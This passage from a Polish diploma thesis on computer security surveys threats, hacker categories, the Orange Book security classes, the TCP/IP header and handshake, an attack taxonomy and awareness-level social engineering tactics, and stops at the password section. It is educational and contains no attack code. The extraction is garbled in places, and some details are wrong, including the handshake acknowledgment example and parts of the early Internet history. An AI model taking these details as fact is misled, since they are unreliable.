Bezpieczeństwo systemňw komputerowych praca dyplomowa


BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 2
Spis treści
Spis treści
Wstęp 4
Rozdział I  Problem bezpieczeństwa
1. Zagrożenia w sieci Internet 5
2. Kim jest haker? 9
3. Klasy zabezpieczeń 11
Rozdział II  Podstawy Internetu
1. Protokół TCP/IP 15
Rozdział III  Ataki na systemy komputerowe
1. Rodzaje ataków 22
2. Ataki pasywne 27
2.1. Social engineering 27
2.2. Hasła 29
2.3. Skanowanie 38
2.4. Sniffing 48
3. Ataki aktywne 52
3.1. Spoofing 52
3.2. Hijacking 54
3.3. Konie trojańskie 58
3.4. Ataki typu DOS 61
3.5. Ataki typu Buffer Overflow 78
4. Tylne drzwi 80
Rozdział IV  Rodzaje zabezpieczeń
1. Firewall 87
2. Tripwire 95
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 3
Spis treści
3. Kerberos 102
Zakończenie 106
Bibliografia 107
Spis tabel i rysunków 110
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 4
Wstęp
Wstęp
W ostatnich latach obserwuje się dynamiczny rozwój Internetu. Z powodu
możliwości jakie daje z dnia na dzień przybywa podłączanych komputerów oraz
wzrasta ilość jego użytkowników. Coraz więcej osób korzysta z niego w pracy
zawodowej i coraz więcej firm prowadzi dzięki niemu interesy. Internet powoli
staje się nieodłącznym elementem naszego życia. Zrobienie zakupów nie łączy się
już jednoznacznie z pójściem do sklepu, a przeczytanie gazety z koniecznością jej
kupna. Wzrost znaczenia Internetu pociąga za sobą zwiększoną ilość informacji
jakie są nim przesyłane. Rośnie także ich znaczenie i niezbędna staje się ich
poufność. Nie ruszając się z domu możemy dokonywać transakcji elektronicznych,
bądz korespondować z ważnymi osobami. Dla niektórych osób takie informacje
mogą się okazać niezwykle cenne. Konieczne jest więc zadbanie o ich
bezpieczeństwo, ponieważ kradzież tych danych staje się powoli nową profesją.
Ma to miejsce głównie ze względów finansowych. Można sobie wyobrazić
znaczenie jakie miałoby pozyskanie cennych informacji przez jedną
z konkurujÄ…cych ze sobÄ… firm.
Celem mojej pracy jest przedstawienie potencjalnych zagrożeń jakie niesie
ze sobą podłączenie do Internetu. Pokazując różnorodność ataków i metody
ograniczające ich skuteczność, starałem się uzmysłowić użytkownikowi
niebezpieczeństwo, na jakie narażone są jego poufne informacje przesyłane w sieci.
Kolejne rozdziały to podstawowe informacje o protokole TCP/IP będącym
podstawą Internetu oraz rodzaje i typy najczęstszych ataków. Na koniec
przytoczyłem kilka ogólnych metod stosowanych w celu zabezpieczenia systemu
przed ingerencją włamywacza. Zakres przedstawionych zagadnień nie wyczerpuje
dogłębnie tematu pracy, ponieważ codziennie pojawiają się nowe techniki, ale
z pewnością stanowi jego większą część.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 5
Problem bezpieczeństwa
Rozdział I
1. Zagrożenia w sieci Internet
Gdy we wczesnych latach sześćdziesiątych powstawała sieć ARPAnet, nikt
nie przypuszczał, że przyjmie ona kształt dzisiejszego Internetu. Na początku była
to wojskowa sieć Departamentu Obrony USA i była przeznaczona do prowadzenia
prac badawczych nad architekturą otwartych systemów komunikacyjnych.
W roku 1973 oddzielono część cywilną NFSnet i wprowadzono protokół TCP/IP.
Sieć miała służyć przede wszystkim środowisku akademickiemu, jednak w 1991r.
została udostępniona światu i od tego momentu Internet zaczyna się dynamicznie
rozwijać. Z czasem zaczęto go wykorzystywać do celów komercyjnych i stało się
jasne, że niezbędne jest położenie większego niż do tej pory nacisku na kwestie
bezpieczeństwa.
Wraz ze wzrostem ilości komputerów podłączonych do Internetu, nasilać się
będzie fala przestępstw elektronicznych. Jak przewiduje Computer Industry
Almanac Inc. pod koniec roku 2000 liczba podłączonych do Internetu komputerów
wyniesie blisko 600 mln, a użytkowników Internetu będzie aż 327 mln, z czego
w Polsce około 2,1 mln osób1. Stale rozbudowywana sieć i zwiększony w niej ruch
powoduje wzrost zagrożenia bezpieczeństwa naszych danych. W momencie gdy
podłączymy się do sieci Internet, dostęp do nas mają setki tysięcy, albo nawet
miliony ludzi na całym świecie.
1
Prognoza przygotowana przez Credit Suisse First Boston, dostępna za strony Magazynu Value
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 6
Problem bezpieczeństwa
9,9
8,5
7,2
5,7
3,8
2,1
1,6
1,2
1998 1999 2000 2001 2002 2003 2004 2005
Rys. 1. Ilość użytkowników Internetu w Polsce (mln)2
Utrata informacji lub naruszenie jej poufności może być spowodowane:
awarią sprzętu,
błędem oprogramowania,
niedozwolonÄ… ingerencjÄ… z zewnÄ…trz lub wewnÄ…trz systemu.
Najczęstszymi sprawcami naruszenia bezpieczeństwa systemów komputerowych
jest mniej lub bardziej wyspecjalizowana grupa użytkowników, zajmująca się
włamaniami do systemów komputerowych. Do tego procederu wykorzystują oni
błędy w oprogramowaniu i konfiguracji systemów komputerowych.
2
yródło: Credit Suisse First Boston
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 7
Problem bezpieczeństwa
Zagrożenia bezpieczeństwa w sieci Internet można podzielić na następujące klasy:
uzyskanie dostępu do danych transmitowanych przez sieć lub
przechowywanych na dołączonych do sieci komputerach przez osoby
niepowołane,
uzyskanie dostępu do takich zasobów jak moc obliczeniowa, pamięć
komputerów itp.,
utrata danych na skutek ingerencji zewnętrznej,
fałszerstwo danych.
Techniki, jakimi można posłużyć się dla osiągnięcia któregoś z tych celów, opierają
siÄ™ przede wszystkim na wykorzystaniu:
wad protokołu TCP/IP i protokołów pokrewnych,
błędów w oprogramowaniu systemowym,
błędów administratora lub użytkownika systemu.
Protokół TCP/IP nie zawiera wbudowanych mechanizmów szyfrowania
przesyłanych danych. Umożliwia to przechwytywanie danych zwłaszcza
w przypadku mediów transmisyjnych funkcjonujących na zasadzie magistrali
takich jak Ethernet. Najczęstszym jednak sposobem naruszenia bezpieczeństwa
w sieci jest pozyskanie dostępu do cudzego konta na komputerze pracującym
w systemie wielodostępnym przyłączonym do sieci Internet. Można to osiągnąć
między innymi wykorzystując błędy w oprogramowaniu systemowym. Włamanie
na konto administratora jest szczególnie niebezpiecznym przypadkiem, ponieważ
umożliwia dostęp do danych wszystkich użytkowników danego komputera, a także
ułatwia zatarcie w systemie śladów włamania.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 8
Problem bezpieczeństwa
Usuwanie skutków włamania jest jednym z najtrudniejszych zadań administratora,
głównie ze względu na konieczność upewnienia się, czy nie zostały wprowadzone
modyfikacje umożliwiające włamywaczowi powtórne wejście.
Brak świadomości wśród użytkowników jest prawdopodobnie najczęstszą
przyczyną naruszenia bezpieczeństwa. W większości systemów wielodostępnych,
dostęp do konta chroniony jest indywidualnym hasłem użytkownika, a stosowanie
łatwych haseł jest przyczyną większości włamań.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 9
Problem bezpieczeństwa
2. Kim jest haker?
Obecnie haker to ktoś, kto potrafi biegle poruszać się w szeroko pojętym
środowisku informacyjnym, posiada specjalistyczne przygotowanie techniczne
jak i zasób inteligencji wystarczający do tego, by realizować własne plany bez
przesadnego naruszania prawa. Aby w ogóle próbować zostać prawdziwym
hakerem, potrzeba dużo nauki i wiele wysiłku koniecznego do przyswojenia
niezbędnej, bardzo szerokiej wiedzy, a pózniej wiele kultury i samodyscypliny,
która jest konieczna do uchronienia rasowego hakera przed pokusami crackingu
czy phreakingu. Podstawą działania hakera jest znajomość systemów operacyjnych,
na których oparte są atakowane aplikacje.
Ze względu na charakter działalności programistów zajmujących się łamaniem
zabezpieczeń systemów komputerowych dzieli się ich na kategorie:
Hacker  osoba, która jest oddana idei udostępniania technologii i pomaga
innym korzystać z zalet nowoczesnej techniki. Jest to człowiek
zafascynowany rozwiązywaniem problemów przy wykorzystaniu wszelkich
możliwości techniki.
Cracker  jest to człowiek, który zajmuje się włamywaniem do systemów
komputerowych w celu odniesienia konkretnych korzyści lub umożliwienia
innym ich czerpania. Crackerem jest też ktoś, kto likwiduje zabezpieczenia
programu przed nielegalnym kopiowaniem, czyli ktoÅ›, kto nie tylko Å‚amie
zabezpieczenia, ale także normy etyczne.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 10
Problem bezpieczeństwa
Phracker  osoba zajmująca się kradzieżami programów umożliwiających
bezpłatne korzystanie z usług telekomunikacyjnych lub badają komputery
i bazy danych firm oferujących takie usługi.
Phreaker  osoba korzystajÄ…ca z ukradzionych informacji dotyczÄ…cych
połączeń telefonicznych takich jak numery kart lub numery abonentów
w celu uzyskania dostępu do innych komputerów.
W ciągu ostatnich lat terminem haker zaczęto określać osoby, które specjalizują się
we włamaniach do systemów. Stało się to głównie za sprawą mediów, które
nakreśliły wizerunek hakera, jako przestępcy, który bezwzględnie się włamuje
i kradnie. Taki stan rzeczy bardzo denerwuje prawdziwych hakerów ze starej
szkoły, którzy uważają że tacy ludzie jak crackerzy psują im opinię.
Należy więc jasno i wyraznie rozgraniczyć pojęcia haker i cracker:
haker dużo potrafi, ale utrzymuje się w swoich działaniach w granicach
określonych jeśli nawet nie przez obowiązujące prawo, to przynajmniej
przez środowiskowe normy etyczne,
cracker swoje hakerskie umiejętności wykorzystuje w celu osiągnięcia
konkretnych korzyści materialnych czy też w celu wyrządzenia konkretnych
szkód3.
3
Michał Kamfora, Kult hakingu, czasopismo Enter nr 9, 1999
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 11
Problem bezpieczeństwa
3. Klasy zabezpieczeń
Departament Obrony USA w 1985 roku w dokumencie Trusted Computer System
Evaluation Criteria (TCSEC), znanym także jako Orange Book, zdefiniował
siedem poziomów bezpieczeństwa komputerowego systemu operacyjnego.
Księga ta definiuje wymagania co do systemów przetwarzających poufne
informacje. Różne poziomy określają różne sposoby zabezpieczania sprzętu,
oprogramowania i danych. Klasyfikacja ta jest tak sformułowana, że wyższe
poziomy posiadają wszystkie cechy poziomów niższych.
Klasa D
Minimalna ochrona (ang. minimal protection). Klasa D jest określa najniższy
poziom bezpieczeństwa oznaczający całkowity brak wiarygodności systemu.
Poziom ten nie wymaga certyfikacji, ponieważ cechuje go brak jakichkolwiek
zabezpieczeń. Jedyne co można zrobić to ograniczyć fizyczny dostęp do systemu.
Każdy użytkownik, który ma dostęp do systemu może w tym systemie zrobić
wszystko.
Klasa C1
Dobrowolna kontrola dostępu (ang. discretionary security protection). Każdy
użytkownik kontroluje dostęp do obiektów, których jest właścicielem i zezwala na
dostęp według własnego uznania. Dostęp może być inny dla właściciela, grupy czy
pozostałych użytkowników. Przed rozpoczęciem pracy użytkownik musi zalogować
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 12
Problem bezpieczeństwa
się do systemu podając swoje hasło. System operacyjny kontroluje uprawnienia
użytkowników do odczytu i zapisu plików i kartotek oraz dysponuje mechanizmem
autoryzacji dostępu. System taki nie ma na ogół zdefiniowanego tzw. super-
użytkownika (np. root) lub użytkownik taki nie jest bardziej bezpieczny niż
pozostali. Klasa C1 jest także pozbawiona mechanizmów rejestrowania zdarzeń.
Informacja o nazwach kont użytkowników oraz zakodowane hasła są dostępne dla
wszystkich użytkowników. Istnieje duże niebezpieczeństwo rozkodowania hasła na
podstawie zakodowanego ciÄ…gu.
Klasa C2
Dostęp kontrolowany (ang. controlled access protection). Poziom ten gwarantuje
automatyczne rejestrowanie wszystkich istotnych z punktu widzenia
bezpieczeństwa zdarzeń i zapewnia silniejszą ochronę kluczowych danych
systemowych takich jak np. baza danych haseł użytkowych. Zakodowane hasła
użytkowników dostępne są tylko dla systemu operacyjnego. Istnieje także
możliwość zablokowania niektórych instrukcji poszczególnym użytkownikom.
Klasa B1
Etykiety poziomu bezpieczeństwa (ang. labeled security protection). Etykiety
pozwalają na stopniowanie poziomu poufności obiektów i poziomu zaufania do
poszczególnych użytkowników. Klasa ta obsługuje bezpieczeństwo na kilku
poziomach takich jak  tajne i  ściśle tajne . Ma wdrożone mechanizmy
uznaniowej kontroli dostępu do zasobów systemu, co może np. sprowadzić się do
braku możliwości zmiany charakterystyki dostępu do plików i kartotek przez
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 13
Problem bezpieczeństwa
określonego użytkownika. Klasa ta blokuje możliwość zmiany praw dostępu do
obiektu przez jego właściciela.
Klasa B2
Zabezpieczenie strukturalne (ang. structure protection). Poziom wymaga
przypisania każdemu obiektowi systemu komputerowego etykiety bezpieczeństwa
określającej status tego obiektu w odniesieniu do przyjętej polityki bezpieczeństwa,
np. gdy obiekt  użytkownik żąda dostępu do obiektu  plik system ochrony
akceptuje lub odrzuca to żądanie na podstawie porównania zawartości etykiet
bezpieczeństwa tych obiektów. Etykiety te mogą zmieniać się dynamicznie
w zależności od tego co jest aktualnie użytkowane.
Klasa B3
Obszary poufne (ang. security domains). Jest to rozszerzenie problemu
bezpieczeństwa na sprzęt komputerowy. W tym przypadku bezwzględnie
obowiązkowym jest chronienie zarówno przechowywanej jak i przesyłanej
informacji. Przykładowo: terminale mogą być połączone z serwerem tylko za
pośrednictwem wiarygodnego okablowania i specjalizowanego sprzętu
gwarantującego, że nikt nie będzie w stanie przechwycić znaków wciskanych na
naszej klawiaturze.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 14
Problem bezpieczeństwa
Klasa A1
Zweryfikowana realizacja systemu (ang. verified design). Jest to najwyższy poziom
bezpieczeństwa. Cała konfiguracja sprzętowo-programowa wymaga matematycznej
weryfikacji. Zarówno sprzęt jak i oprogramowanie musi podlegać specjalnej
ochronie w trakcie transportu zapewniającej jego nienaruszalność (aby nikt niczego
nie podmienił). Wymaga formalnego dowodu, że system jest zgodny
z wymaganiami. W tym miejscu należy zwrócić uwagę na problem wzrostu
obciążenia systemu operacyjnego związanego z uaktywnieniem opcji
bezpieczeństwa. W szczególności może okazać się, że mało wydajne serwery nie
będą w stanie obsłużyć wszystkich użytkowników po uruchomieniu wszystkich
programów zabezpieczających, ze względu na duże zużycie zasobów procesora
i powierzchni dyskowej4.
4
Clico Centrum Oprogramowania, Wprowadzenie do problemów bezpieczeństwa komputerowych systemów
sieciowych, 1997
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 15
Podstawy Internetu
Rozdział II
1. Protokół TCP/IP
Protokół TCP/IP (Transmission Control Protocol/Internet Protocol) jest
podstawowym protokołem stanowiącym szkielet Internetu. Węzły sieci
komputerowej wymieniają dane korzystając z ustalonego zbioru reguł zwanych
protokołami, dzięki którym wszystkie komputery w sieci są w stanie określić, czy
mogą skorzystać z określonych usług, takich jak dostęp do plików lub sterowanie
drukowaniem. Protokoły korzystają z mechanizmów specyficznych dla danego
systemu operacyjnego, pozwalających na filtrowanie dostępu w sieci, zarządzanie
jej użytkownikami, przesyłanie plików, obsługiwanie zdalnego logowania, a także
nawiązywania połączeń internetowych. Należy zwrócić uwagę, że w skład
protokółu TCP/IP wchodzi kilka innych protokołów.
Tabela 1. Protokoły wchodzące w skład TCP/IP
IP Internet Protocol należy do warstwy sieciowej, służy do przesyłania
danych między dwoma komputerami głównymi.
TCP Transmission Control Protocol należy do warstwy transportowej, służy
do przesyłania danych wielopakietowych między aplikacjami.
UDP User Datagram Protocol także należy do warstwy transportowej, służy
do przesyłania danych między aplikacjami; jest mniej skomplikowany
i bardziej zawodny niż TCP, służy do przesyłania pojedynczych
pakietów.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 16
Podstawy Internetu
ICMP Internet Control Message Protocol służy do przesyłania sieciowych
komunikatów o błędach oraz do powiadamiania o innych zdarzeniach
wymagajÄ…cych interwencji oprogramowania sieciowego.
Protokół IP
Protokół IP jest protokołem bezpołączeniowym zawartym w pakiecie TCP/IP,
wysyłającym dane w postaci datagramów. Posiada dwa 32-bitowe pola
w nagłówku do przechowywania informacji o adresach. Protokół IP kieruje
pakietami w sieci, ale nie posiada mechanizmów niezawodności połączenia,
polegając jedynie na protokołach z wyższych warstw, np. TCP. Ponieważ jest
protokołem bezpołączeniowym, nie wysyła żadnych komunikatów o dostarczeniu.
Protokół TCP
Protokół TCP, tak jak UDP, służy do przesyłania danych między warstwą sieciową
a warstwą aplikacji, ale jest od niego bardziej złożony, ponieważ oferuje
niezawodną usługę dostarczania danych, opartą na strumieniu bajtów i nawiązaniu
połączenia. TCP gwarantuje, że wiadomość zostanie dostarczona i aplikacja
otrzyma dane w odpowiedniej kolejności. Jest to sytuacja odwrotna niż w wypadku
protokołu UDP, który nie gwarantuje dostarczenia danych ani przesyłania ich
w odpowiedniej kolejności. Protokół TCP próbuje ponadto zoptymalizować ruch
w sieci, dąży do uzyskania maksymalnego przepływu danych w Internecie. W tym
celu prowadzi dynamiczną kontrolę przepływu danych w poszczególnych
połączeniach. Jeśli więc bufor danych umieszczony na końcu połączenia TCP,
z którego napływają dane, zaczyna się przepełniać, to protokół TCP powoduje
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 17
Podstawy Internetu
zmniejszenie szybkości wysłania danych. Ważne jest także to, że TCP jest
protokołem połączeniowym, a IP bezpołączeniowym. Protokół TCP pozwala na
przesyłanie danych w postaci strumienia bajtów, podczas gdy protokół IP korzysta
z datagramów, w związku z czym protokół TCP musi przekształcić swoje dane.
Komunikat TCP
Protokół TCP traktuje dane jako jeden nieprzerwany strumień informacji, ale
ponieważ przesyłanie danych musi się odbywać za pośrednictwem datagramów
protokołu IP, to każdy przesyłany komunikat (segment) TCP jest w rzeczywistości
tylko pojedynczym segmentem ze strumienia bajtów protokołu TCP. Segment TCP
składa się z nagłówka TCP, opcji TCP oraz danych przesyłanych za pomocą
segmentu.
32 bity
0 16 16 31
16-bitowy port zródłowy 16-bitowy port zródłowy
32-bitowy numer sekwencji
32-bitowy numer potwierdzenia
Długość U A P R S F
Zarezerwowane
R C S S Y I
nagłówka 16-bitowy rozmiar okna
6-bitów
G K H T N N
4 bity
16-bitowy wskaznik Urgent
16-bitowa suma kontrolna TCP
Opcje (jeśli występują) Dopełnienie (w razie potrzeby)
Opcjonalne miejsce na dane
Rys. 2. Budowa komunikatu TCP.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 18
Podstawy Internetu
W tabeli przedstawiono przeznaczenie poszczególnych pól komunikatu TCP
Tabela 2. Przeznaczenie pól danych w nagłówku TCP
port zródłowy określa port protokołu aplikacji wysyłającej dane.
port docelowy określa port protokołu aplikacji odbierającej dane.
numer sekwencji określa położenie pierwszego bajtu w polu danych segmentu
TCP.
numer potwierdzenia zawiera numer bajtu ze strumienia danych, oczekiwanego
przez stronÄ™ odbierajÄ…cÄ….
długość nagłówka określa długość nagłówka TCP
flaga URG sygnalizuje modułowi TCP strony odbierającej, że pole
 wskaznik Urgent wskazuje na dane pilne.
flaga ACK sygnalizuje modułowi TCP strony odbierającej, że pole
 numer potwierdzenia zawiera poprawny numer
potwierdzenia.
flaga PSH polecenie dla modułu TCP strony odbierającej, aby
bezzwłocznie wysłał do aplikacji odbierającej dane
informacje zawarte w segmencie.
flaga RST potwierdzenie resetu połączenia TCP skierowane do modułu
TCP odbierajÄ…cego dane.
flaga SYN polecenie dla modułu TCP strony odbierającej dane, aby
dokonał synchronizacji numerów sekwencji.
flaga FIN sygnalizuje modułowi TCP strony odbierającej dane, że
węzeł wysyłający zakończył przesyłanie informacji.
rozmiar okna informacja dla modułu TCP strony odbierającej dane
o liczbie bajtów proponowanej przez węzeł wysyłający
dane.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 19
Podstawy Internetu
suma kontrolna TCP umożliwia wykrycie błędu transmisji przez moduł TCP
strony odbierajÄ…cej dane.
wskaznik Urgent wskazuje miejsce, gdzie jest położony ostatni bajt danych
przesyłanych w trybie przyspieszonym, umieszczonych
w polu danych segmentu TCP.
opcje pole używane zazwyczaj przez opcję  maksymalny rozmiar
segmentu zawierającą informację o maksymalnej wielkości
segmentu, jaką może odebrać moduł TCP.
Połączenie TCP
Aby zapewnić transmisję pewną i sekwencyjny przepływ strumienia bajtów,
protokół TCP wysyła i odbiera potwierdzenia korzystając z wartości pól:
numer sekwencji, numer potwierdzenia oraz flagi. Za każdym razem, gdy program
zamierza użyć protokołu TCP w celu przesłania danych, wysyła do warstwy
transportowej komputera głównego żądanie utworzenia połączenia TCP. Wysyłana
jest wiadomość z flagą SYN do odległego portu, z którym program zamierza się
połączyć. Flaga SYN jest sygnałem dla serwera, że program typu klient chce
nawiązać połączenie TCP. Wraz z flagą synchronizacji wysyłany jest 32-bitowy
numer sekwencji. Serwer wysyła w odpowiedzi segment TCP zawierający flagę
ACK oraz numer potwierdzenia. Po każdym wysłaniu danych protokół TCP
uruchamia licznik odmierzający czas. Gdy licznik przekroczy ustaloną wartość
a potwierdzenie wysłanych danych nie nadchodzi, wówczas są one automatycznie
retransmitowane.
Podczas przeprowadzania procesu synchronizacji węzły muszą ustalić
metodę potwierdzania wiadomości. W przeciwnym wypadku przesyłanie danych
może być niemożliwie. W protokole TCP identyfikacji danych dokonuje się za
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 20
Podstawy Internetu
pomocą numeru sekwencji, który może być wybierany na wiele sposobów. Jest to
po prostu liczba wysyłaną przez jeden węzeł do drugiego. Gdy strona serwera
otrzyma takie żądanie, wówczas wysyła odpowiedz, w której umieszcza własny
początkowy numer sekwencji. Protokół TCP generuje początkowy numer sekwencji
dla strony serwera całkowicie niezależnie od początkowego numeru sekwencji
modułu TCP strony klienta. Połączenia TCP są dwukierunkowe, co oznacza, że
dane są przesyłane jednocześnie w obydwie strony ale niezależnie do siebie.
W związku z tym w każdym węzle muszą być przechowywane dwa numery
sekwencji dla obydwu kierunków przesyłania danych. Moduł TCP strony serwera
generuje numer potwierdzenia na podstawie numeru sekwencji otrzymanego od
modułu TCP strony klienta. Numer potwierdzenia jest zawsze oczekiwanym
numerem następnego numeru sekwencji przesyłanych danych. W ten sposób
w pierwszej odpowiedzi moduł TCP strony serwera umieszcza numer sekwencji
strony klienta powiększony o jeden. Jeśli na przykład moduł TCP strony klienta
żądający utworzenia połączenia TCP wysłał na numer sekwencji 1000, to
w odpowiedzi moduł TCP strony serwera prześle w polu  numer potwierdzenia
numer 2001 co oznacza, że odebrano element danych o numerze 2000 i oczekuje
się, że następny element będzie miał numer 2001.
Zamykanie połączenia TCP przez program odbywa się za pomocą operacji
dwuetapowego potwierdzenia. Mechanizm zamykania połączenia może uruchomić
każdy z węzłów należących do połączenia TCP. W związku z dwukierunkowością
protokołu TCP zakończenie przesyłania danych musi być przeprowadzone
niezależnie dla każdego kierunku. W wypadku połączeń TCP, gdy jeden z węzłów
należących do połączenia TCP przerywa przesyłanie danych, nadal może odbierać
dane wysyłane przez drugi węzeł. Aby zamknąć połączenie, jeden z nich wysyła
wiadomość zawierającą flagę FIN, czyli przeprowadza tzw. aktywne zamknięcie.
Zazwyczaj węzeł, który otrzymuje wiadomość z flagą FIN, natychmiast
przeprowadza pasywne zamknięcie. Oznacza to po prostu, że węzeł ten także
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 21
Podstawy Internetu
wysyła wiadomość zawierającą flagę FIN. Potwierdzenie wysłane w odpowiedzi na
tę wiadomość jest znakiem, że obydwa węzły uzgodniły ze sobą fakt zakończenia
przesyłania danych w jednym kierunku. Gdy obydwa węzły należące do połączenia
TCP wyślą wiadomości zawierające flagę FIN i otrzymają potwierdzenia, wówczas
połączenie TCP zostaje oficjalnie zamknięte5
5
Lars Klander, Hacker proof, czyli jak się bronić przed intruzami, str. 49
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 22
Ataki na systemy komputerowe
Rozdział III
1. Rodzaje ataków
System komputerowy może być zaatakowany przez hakera na wiele różnych
sposobów. Mogą to być ataki zarówno aktywne jak i pasywne, a są przeprowadzane
w systemach, gdzie ma się do czynienia z przepływem informacji. Ze względu na
charakter ataku rozróżnia się:
Przerwanie (ang. interruption) jest atakiem na dyspozycyjność polegający na
częściowym zniszczeniu systemu lub spowodowaniu jego niedostępności
(jest niezdolny do użycia). Przykładem może być fizyczne zniszczenie
fragmentu komputera lub sieci, np. uszkodzenie dysku, przecięcie linii
łączności, lub uniemożliwienie działania systemu zarządzania plikami.
przerwanie
komputer
serwer
użytkownika
Rys. 3. Schemat ataku przerwania.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 23
Ataki na systemy komputerowe
Przechwycenie (ang. interception) jest atakiem na poufność i ma miejsce,
gdy ktoś niepowołany uzyskuje dostęp do zasobów. Przykładem może być
podsłuch pakietów w celu przechwycenia danych w sieci i nielegalne
kopiowanie plików lub programów.
przechwycenie
komputer
serwer
użytkownika
komputer
hakera
Rys. 4. Schemat ataku przechwycenia.
Modyfikacja (ang. modification) jest atakiem na nienaruszalność polegający
na zdobyciu dostępu do zasobów przez niepowołaną osobę, która wprowadza
do nich jakieś zmiany. Przykładem może być zmiana wartości w pliku
z danymi, wprowadzenie zmiany w programie w celu wywołania innego
sposobu jego działania, modyfikacja komunikatów przesyłany w sieci.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 24
Ataki na systemy komputerowe
modyfikacja
komputer
serwer
użytkownika
komputer
hakera
Rys. 5. Schemat ataku modyfikacji.
Podrobienie (ang. fabrication) jest atakiem na autentyczność, gdy
niepowołana osoba wprowadza do system fałszywe obiekty.
Przykładem może być wprowadzenie nieautentycznych komunikatów
do sieci lub dodanie danych do pliku.
podrobienie
komputer
serwer
użytkownika
komputer
hakera
Rys. 6. Schemat ataku podrobienia.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 25
Ataki na systemy komputerowe
Ataki pasywne
Ataki pasywne polegają na podsłuchiwaniu lub monitorowaniu przesyłania danych.
Celem osoby atakującej jest odkrycie zawartości komunikatu. Typowym atakiem
pasywnych jest analiza przesyłu danych (ang. traffic analysis). Ataki pasywne są
bardzo trudne do wykrycia, ponieważ nie wiążą się z modyfikacjami jakichkolwiek
danych. W postępowaniu z tego rodzaju atakami należy skupić się bardziej na
zapobieganiu, niż na wykrywaniu.
Ataki aktywne
Ataki te w przeciwieństwie do pasywnych polegają na modyfikowaniu strumienia
danych lub tworzeniu danych fałszywych. Można wyróżnić kilka ich typów:
maskarada (ang. masquerade) polega na podszywaniu siÄ™ pod komputer
uprzywilejowany i zazwyczaj występuje równocześnie z innymi atakami
aktywnymi,
powtórka (ang. replay) polega na przechwyceniu danych i ich retransmisji
w celu otrzymania niedozwolonych rezultatów,
modyfikacja (ang. modification) polega na zmianie fragmentu oryginalnego
komunikatu lub na jego opóznieniu w celu wywołania niedozwolonych
skutków takich jak uzyskanie dostępu do zasobów.
blokada usług (ang. denial of service) polega na przeszkadzaniu
w normalnej pracy lub uniemożliwianiu właściwego zarządzania
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 26
Ataki na systemy komputerowe
urządzeniami komunikacyjnymi; celem ataku są głównie udostępnione przez
serwer usługi od fizycznego zablokowania łącza danych przepływającymi
pakietami, aż po programowe przepełnienie bufora,
czy też zawieszenie usługi.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 27
Ataki na systemy komputerowe
2. Ataki pasywne
2.1. Social engineering
Terminem social engineering określa się szeroki zestaw sposobów na
wyłudzanie informacji o kontach i hasłach dostępu oraz innych elementach
wpływających na bezpieczeństwo systemów komputerowych.
Social engineering jest sztuką i nauka dostawania od ludzi tych informacji, których
potrzebujemy. Pod tym pojęciem kryje się niebezpieczny mechanizm nadużywania
ludzkiego zaufania w celach kryminalnych. Technika ta była dość popularna przed
upowszechnieniem Internetu, ale w czasach obecnych raczej już się nie stosowana,
natomiast stanowi ona często podstawę działania rozmaitych oszustów, nie tylko
tych, którzy używają komputerów. Należy z góry zakładać, że istnieją jacyś naiwni
pracownicy, którzy o bezpieczeństwie nie maja w ogóle pojęcia i np. podają hasła
telefonicznie. Pomimo tego, że jest to stara metoda, często odnosi skutek, ponieważ
nasza kultura nie nadąża za technologią.
Od dawna wiadomo, że nawet najbardziej zabezpieczony system ma
poważną lukę, czyli beztroskiego użytkownika. Ważne jest zatem wcześniejsze
przeszkolenie i uświadomienie kadry. Klasycznym przykładem mogą być przesyłki
emailowe, w których pod pretekstem wystąpienia błędu systemowego u operatora
pojawiają się prośby o podanie identyfikatora wraz z hasłem dostępu lub informacji
o karcie kredytowej. Możliwości nadużyć metody social engineering nie są
zarezerwowane wyłącznie dla poczty elektronicznej, są o wiele większe
i ograniczone tylko pomysłowością i wyobraznią hakera.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 28
Ataki na systemy komputerowe
W związku nasilaniem się fali kradzieży informacji należy być świadomym
pośrednich metod używanych przez hakerów. Należy zwrócić szczególną uwagę,
gdy:
zakłopotana i przygnębiona osoba dzwoni i prosi o zmianę swojego hasła,
osoba przedstawiająca się jako dyrektor, pewnym i stanowczym głosem
dzwoni do nowego administratora i żąda natychmiastowego dostępu do
swojego konta,
osoba na lotnisku zaglÄ…da innej przez ramie podglÄ…dajÄ…c wpisywany PIN do
karty bankomatowej lub telefonicznej (hakerzy często używają lornetek lub
kamer wideo),
osoba podgląda wpisywany login i hasło na klawiaturze,
pewna siebie osoba będzie dzwonić do operatora komputera i każe mu
wpisać kilka linijek instrukcji na konsoli,
jakaś osoba przegląda papiery w koszu na śmieci szukając pewnych
wskazówek do odblokowania konta.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 29
Ataki na systemy komputerowe
2.2. Hasła
Zazwyczaj kilka osób potrzebuje skorzystać z jednego komputera, lecz każdy
w inny sposób i na innych zasadach, powstaje wtedy problem jak każdemu dać
